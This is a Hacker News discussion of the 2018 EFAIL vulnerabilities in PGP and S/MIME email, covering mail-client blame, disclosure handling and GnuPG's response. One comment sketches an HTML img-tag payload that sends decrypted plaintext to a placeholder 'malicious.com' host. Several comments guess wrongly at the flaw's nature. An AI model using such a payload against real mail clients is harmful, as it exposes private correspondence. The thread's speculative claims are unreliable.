A new set of vulnerabilities affecting users of PGP and S/MIME | Hacker News Reader

A new set of vulnerabilities affecting users of PGP and S/MIME

eff.org

288 pointsrdhyee68 comments

Open articleView on HN

Response by Werner Koch (GPG), contains some details:

https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06031...

So in short, if you have all mails set to display as plain text rather than HTML, there's no problem?

to quote the letter:

There are two ways to mitigate this attack

- Don't use HTML mails. Or if you really need to read them use a proper MIME parser and disallow any access to external links.

- Use authenticated encryption.

Like every sane person should do.

That ship sailed when email got named email instead of etelegram.

I'm stealing etelegram for a new startup I'm going to make

Aren't telegrams already "e"?

Why do you think so? People are not forced to use HTML mails. I don't.

Oh, I thought you were making the "email should only be text" argument, not the "you should avoid looking at the non-text part of multipart email" argument. I was addressing the former.

>Due to broken MIME parsers a bunch of MUAs seem to concatenate decrypted HTML mime parts which makes it easy to plant such HTML snippets.

To me this sounds strictly like a MUA issue, not a PGP/SMIME one. If that's really all it is it does seem massively overblown to me. Why not single out the broken MUA implementations instead of saying "don't decrypt emails OR YOU'LL DIE"? I mean just look at the wild speculation in this thread, nobody understood what was going on or even what was really vulnerable and what wasn't. Given the alarmist tone and the claims of "no workaround available" I was personally expecting a deep conceptual flaw in PGP/SMIME themselves. Terrible communication IMO. The parent email in the GnuPG thread seems to agree: https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06031...

We'll know for sure tomorrow I suppose.

Sounds like this has been handled absolutely terrible both by the original researchers and EFF. The researcher then trying to shush the directly affected GPG developers on Twitter, evidently just for the sake of a stupid no-prior publication bullshit for their paper just adds to it.

I dunno, a client issue like this seems pretty terrible to me since there is no obvious (to me) way to fix it. If I am encrypting a message, I have no control over what client decrypts it (and whether that client unwittingly passes the information along) without maybe changing the standard completely.

The thing is, If I am reading correctly, it seems like this kind of vulnerability seems totally predictable.

I agree, after getting the details it's fair to say that while some MUAs should fix their handling of encrypted emails PGP implementations and the S/MIME standard shares a part of the blame by not detecting and preventing the decoding of tampered documents. Still, the way the problem was disclosed is rather misleading and confusing.

Time to start testing your email clients with https://www.emailprivacytester.com

Here's a guess at what the "attack" might look like.

First, you need to know that each MIME email is made up of a series of subcomponents, which the email client interprets and concatenates. One subcomponent could be PGP encrypted while the next is not.

So given an old email where message X was encrypted to form a component Encr(X), simply write a new email of the form:

    Part 1: <img src=http://malicious.com/?q="
    Part 2: Encr(X)
    Part 3: ">

Then the client might decrypt this to the message <img src="http: //malicious.com/?q=X">. Which is fine until the email client decides to automatically execute any code it happens to be given in an email, in this case, load the image.

To be clear, I doubt very much that this is the attack, but it sounds like it's along these lines.

What about Keybase[1] app, and Autocrypt[2],PEP[3]? Even dough Keybase is not email client, it can be used to continue to communicate with users that have PGP/GPG keys, over their app. And Autocrypt is Thunderbird extension, and PEP is for Outlook and Android.

https://mastodon.social/web/statuses/100026482838593277

[1]: https://keybase.io/

[2]: https://autocrypt.org/

[3]: https://www.pep.security/

This seems to be a mis-hyped vulnerability in certain mail clients that use PGP (badly).

Given that they recommend against decrypting any email, it sounds like the bug is some sort of remote-code-execution against the decryption step, that would then allow (among ~anything else) exfiltration of keys, ciphertexts, and plaintexts.

EDIT: Having read a bit more I'm not so convinced that this explanation makes sense.

The original tweet linked in the article [1] says "They might reveal the plaintext of encrypted emails, including encrypted emails sent in the past.", so at least that much is probably compromised. They also say there are currently no reliable fixes, which seems to suggest the problem is a flaw in PGP's design rather than a security bug in some specific library or tool, since a simple (but widespread) bug would most likely have a clear fix.

[1] https://twitter.com/seecurity/status/995906576170053633

Good point.

I wonder what kind of flaw in PGP's design could make it unsafe to decrypt incoming mails.

It'll be interesting to see the flaw that many pgp clients all seemed to implement in the same/similar ways.

At a guess:

1. Take previous email (X) that you want to decrypt.

2. Apply transformation (this is the actual secret sauce) to previous X to get email Y.

3. Because of how Y was constructed, decrypting it causes X to be decypted.

4. Phone home with the result by using some kind of tracking pixel.

My reasoning is that they didn't talk about RCE and they didn't talk about stealing the key, and they did warn about automatic decryption, so it should be about tricking the decryptor into decrypting whatever you want for you.

Update: you were right :)

They claim this also affects S/MIME, so concluding a flaw only in GPG/PGP seems to be wrong.

It seems more to be with the mail clients themselves given that to avoid the exploit your best best is not to render HTML emails. That is outside of the scope of goals for the encryption libraries altogether.

I've always handled PGP via cut-and-paste of the ascii armored block, through a text file on a ramdisk (or between systems), then using command-line pgp or gpg to decrypt, and the reverse. Not always on a VM or machine without external network access, but for signing keys for software and stuff, yes. It just seemed too easy to mess up auto-decrypt/auto-encrypt and accidentally send out cleartext -- the cut and paste or textfile intermediate step makes it verifiable.

Unless there's a protocol bug where the message itself can include "dump the secret key to a public keyserver on decrypt", I'm not too worried.

(I also don't use PGP for routine communications, because it's so inconvenient to use it, and due to lack of a good mobile solution. Signal, or for routine email, tls to a mail server I control is fine too.)

I wonder if that doesn't open up similar problems: Pasting the mail into the gpg command line program prints out the clear text to the terminal. There are all kinds of magic control sequences that might be in that clear text. Isn't that conceptually similar to having HTML "executed"?

I use text files (on ramdisk/tmpfs) as the intermediary, not display-to-screen.

Console control characters won't cause you to make an internet connection. There are some weird control sequences which are designed to execute a command on the reader's terminal, but nobody implements those these days.

On Android, the OpenKeychain app suits my needs just fine on the rare occasion I need to encrypt/decrypt on mobile, though I've never used its email integration... Apart from that I have basically the same workflow. I wrote a GUI program once to play with Clojure + Apache Pivot that lets me copy/paste text into the program's text fields and gives a dropdown of public keys (or an option to add a key), that's sometimes a bit more convenient. I can also explicitly manage whether I add myself as a recipient or not, lots of email clients seem to automatically encrypt to the sender's key as well so they can read it later.

"They figured out mail clients which don't properly check for decryption errors and also follow links in HTML mails. So the vulnerability is in the mail clients and not in the protocols. In fact OpenPGP is immune if used correctly while S/MIME has no deployed mitigation."

- by GnuPG (https://twitter.com/gnupg/status/995931083584757760)

This is worth reading with the Researcher then (publicly :)) asking him to "keep this quiet". I think some of the subsequent commentators have a point which is that the media will take this to mean PGP is broken.

According to Werner Koch (link to the email posted by other commenters already), the GnuPG people weren't contacted about this issue. So that comment from the researcher looks a little out of place, iMO.

Yes and researchers shouldn't release incomplete teaser facts just to promote their publication and then cry wolf when their stupid paper embargo bullshit isn't adhered to.

> Our advice, which mirrors that of the researchers, is to immediately disable and/or uninstall tools that automatically decrypt PGP-encrypted email.

This advice strongly suggests a side-channel attack, not anything which affects encrypted data at rest. The worst case is that PGP has a remote code execution vulnerability in the decryption step.

This doesn't make sense.

PGP is encryption software, whereas S/MIME is an encryption standard.

It's like saying that a vulnerability affetcts users of OpenSSL and RSA.

PGP is both software and an encryption system. (https://tools.ietf.org/html/rfc4880)

To be more precise, the standardized encryption system is called OpenPGP (RFC4880) whereas PGP is the name of tool which was written by Phil Zimmermann.

Though it would appear the source of the original PGP software is no longer publicly accessible [1], so how would one know if it was vulnerable? I think the EFF probably meant people using various implementations right?

[1] https://philzimmermann.com/EN/findpgp/

Yes, especially mail solutions which are using OpenPGP implementations such as GnuPG.

It looks like its rather an mail client issue than an OpenPGP implementation issue: https://twitter.com/gnupg/status/995931083584757760?s=19

Good point.

One of the researchers' tweets[0] was:

> You can still disable it in the config. If use S/MIME for sensitive information, disable it for now.

which would imply that it's not remote code execution, otherwise it would be worth disabling S/MIME whether you use it for sensitive information or not.

[0] https://twitter.com/seecurity/status/995914298512887808

It makes sense to me. They are saying that there is a bug in the way PGP (software) handles S/MIME (standard). People that are using both (the software and the standard) are at risk.

This seems way overblown. An in-depth explanation Werner as to why this is most likely not an issue if you're GPG is > 2.1.9 [1]

An (older) example of expected behaviour [2].

[1] https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06032... [2] https://sourceforge.net/p/enigmail/bugs/538/#43ff

"Due to our embargo being broken, here are the full details of the #efail attacks. https://efail.de/ "

https://twitter.com/seecurity/status/995964977461776385

Discussion https://news.ycombinator.com/item?id=17064129

This is an email client vulnerability, not a PGP one. The obvious solution is to not use a client that autoloads HTML to decrypt your emails.

I'm a little confused. Is this an attack on the PGP protocol or just an attack on the software implementation of PGP?

The advice they give seems to indicate that somehow a well-crafted payload can expose the secret PGP key from "tools that automatically decrypt PGP-encrypted email."

This seems to me that it is an implementation-level attack and not a protocol attack on the basis for PGP. Is anyone else getting that same thought?

This is what I thought as well. The EFF warning was specifically against decrypting messages so I think it's unlikely to be a protocol vulnerability. But my experience with software exploits is limited to reading publications about exploits.

From an essay I wrote in 2015 on "Why Encryption Use Is Problematical When Advocating For Social Change": http://pdfernhout.net/why-encryption-use-is-problematical-wh... "In general, a system intended to ensure private communications is only as secure as its weakest link. If any of these levels is compromised (hardware, firmware, OS, application, algorithm theory, algorithm implementation, user error, user loyalty, etc.) then your communications are compromised. ... If you want to build a mass movement, at some point, you need to engage people. In practice, for social psychology reasons, engaging people is very difficult, if not impossible, to do completely anonymously in an untraceable way. People have historically built mass movements without computers or the internet. It's not clear if the internet really makes this easier for activists or instead just for the status quo who wants to monitor them. If you work in public, you don't have to fear loss of secure communications because you never structure your movement to rely on them. If you rely on "secure" communications, then you may set yourself up to fail when such communications are compromised. If your point is to build a mass movement, then where should your focus be? ..."

I wouldn't be surprised if this is either:

1. A bug in a library any pgp implementation uses, likely allowing even remote code execution

2. A bad Interaktion with some other mail "extension"* e.g. external bodies

*With extension I mean anything added to mail in a later rfc, which isn't really an extension in the classical sense but I'm not sure what to call it otherwise

Any word on whether or not mutt is affected?

Ok, healthcare messaging in US is based on S/MIME (http://wiki.directproject.org/). According to EFF, it should be shut down now?

Yeah that sounds pretty bad. It is possibly some injection attack since it mentions automatic decryption of PGP. Or maybe some fundamental flaw in the formats... How exciting!

My main question is does it affect gpg as well?

Yes, PGP/GPG is affected

According to the quote in the article, yes.

The flaws “might reveal the plaintext of encrypted emails, including encrypted emails you sent in the past,” Sebastian Schinzel, a professor of computer security at Münster University of Applied Sciences, wrote on Twitter. “There are currently no reliable fixes for the vulnerability. If you use PGP/GPG or S/MIME for very sensitive communication, you should disable it in your email client for now.”

>"If you use PGP/GPG or S/MIME for very sensitive communication, you should disable it in your email client for now.”

So folks relying on these thing for sensitive communication should do no communitcation until..??? Just trying to clarify.

Until a fix is released and they've installed it, one would assume.

The paper is being released tomorrow morning at 7am GMT so we should learn more then.

I don't see any such quote in the article. :/

This seems like some code-execution thing. I suspect that the vulnerability executes a command when text is decrypted

It's not clear to me if PGP encrypted files are affected if it's not email.

I think PGP should implement a centralized auto-update mechanism so that software can disable itself in cases as severe as listed (with advice to "immediately disable and/or uninstall tools that automatically decrypt PGP-encrypted email").

[I've removed an earlier longer version of this comment.]

The problem with a comment like this is that it's practically impossible to reply to it without sinking to the same level.

You're getting downvoted with no replies because almost everybody disagrees with you but nobody can be bothered to argue your nonsensical points.

EDIT: I see now what's going on. You baited people into disagreeing with your crackpottery, you then edited-down or deleted all of your comments in this thread so that we are the ones who look like crackpots. Well played, I guess, but not the kind of conduct I've come to expect on HN.

Absolutely agree, although I want to give a better typewriter example. I'd say this announcement is much more similar to:

-----

May 14th, 1918.

Attention All Users of Typewriters: Stop Using Patented "Secret Envelopes".

Recent research has demonstrated that under certain lighting conditions, "Secret Envelopes" become transparent. There are alternatives to "Secret Envelopes" and we urge you to use them instead for the time being.

-----

In which case I would not only accept the announcement, but probably toss out my secret envelopes for good, or at least until it's proven to work again.

[removed]

> my specific firm, non-negotiable suggestion about the infrastructural changes that PGP admins need to institute.

The good news is I don't think anyone is going to make the mistake of trying to negotiate your suggestion.

Your comment presupposes that software never ever has bugs, which is clearly hard for any non trivial piece of code.

Furthermore, the big is in the decryption part of pgp, so the security of the encrypted communication doesn't seem to be at risk (unless the bug can somehow be used to exfiltrate your keys).

[removed]

> I don't think encrypted data at rest from the past few years can be decrypted

It doesn't seem like you have the necessary knowledge about this particular bug to assert that, but the people who do are clearly stating that there's a risk of just that:

"EFF has been in communication with the research team, and can confirm that these vulnerabilities pose an immediate risk to those using these tools for email communication, including the potential exposure of the contents of past messages."

Also

"We'll publish critical vulnerabilities in PGP/GPG and S/MIME email encryption on 2018-05-15 07:00 UTC. They might reveal the plaintext of encrypted emails, including encrypted emails sent in the past."

https://twitter.com/seecurity/status/995906576170053633

Reply on news.ycombinator.com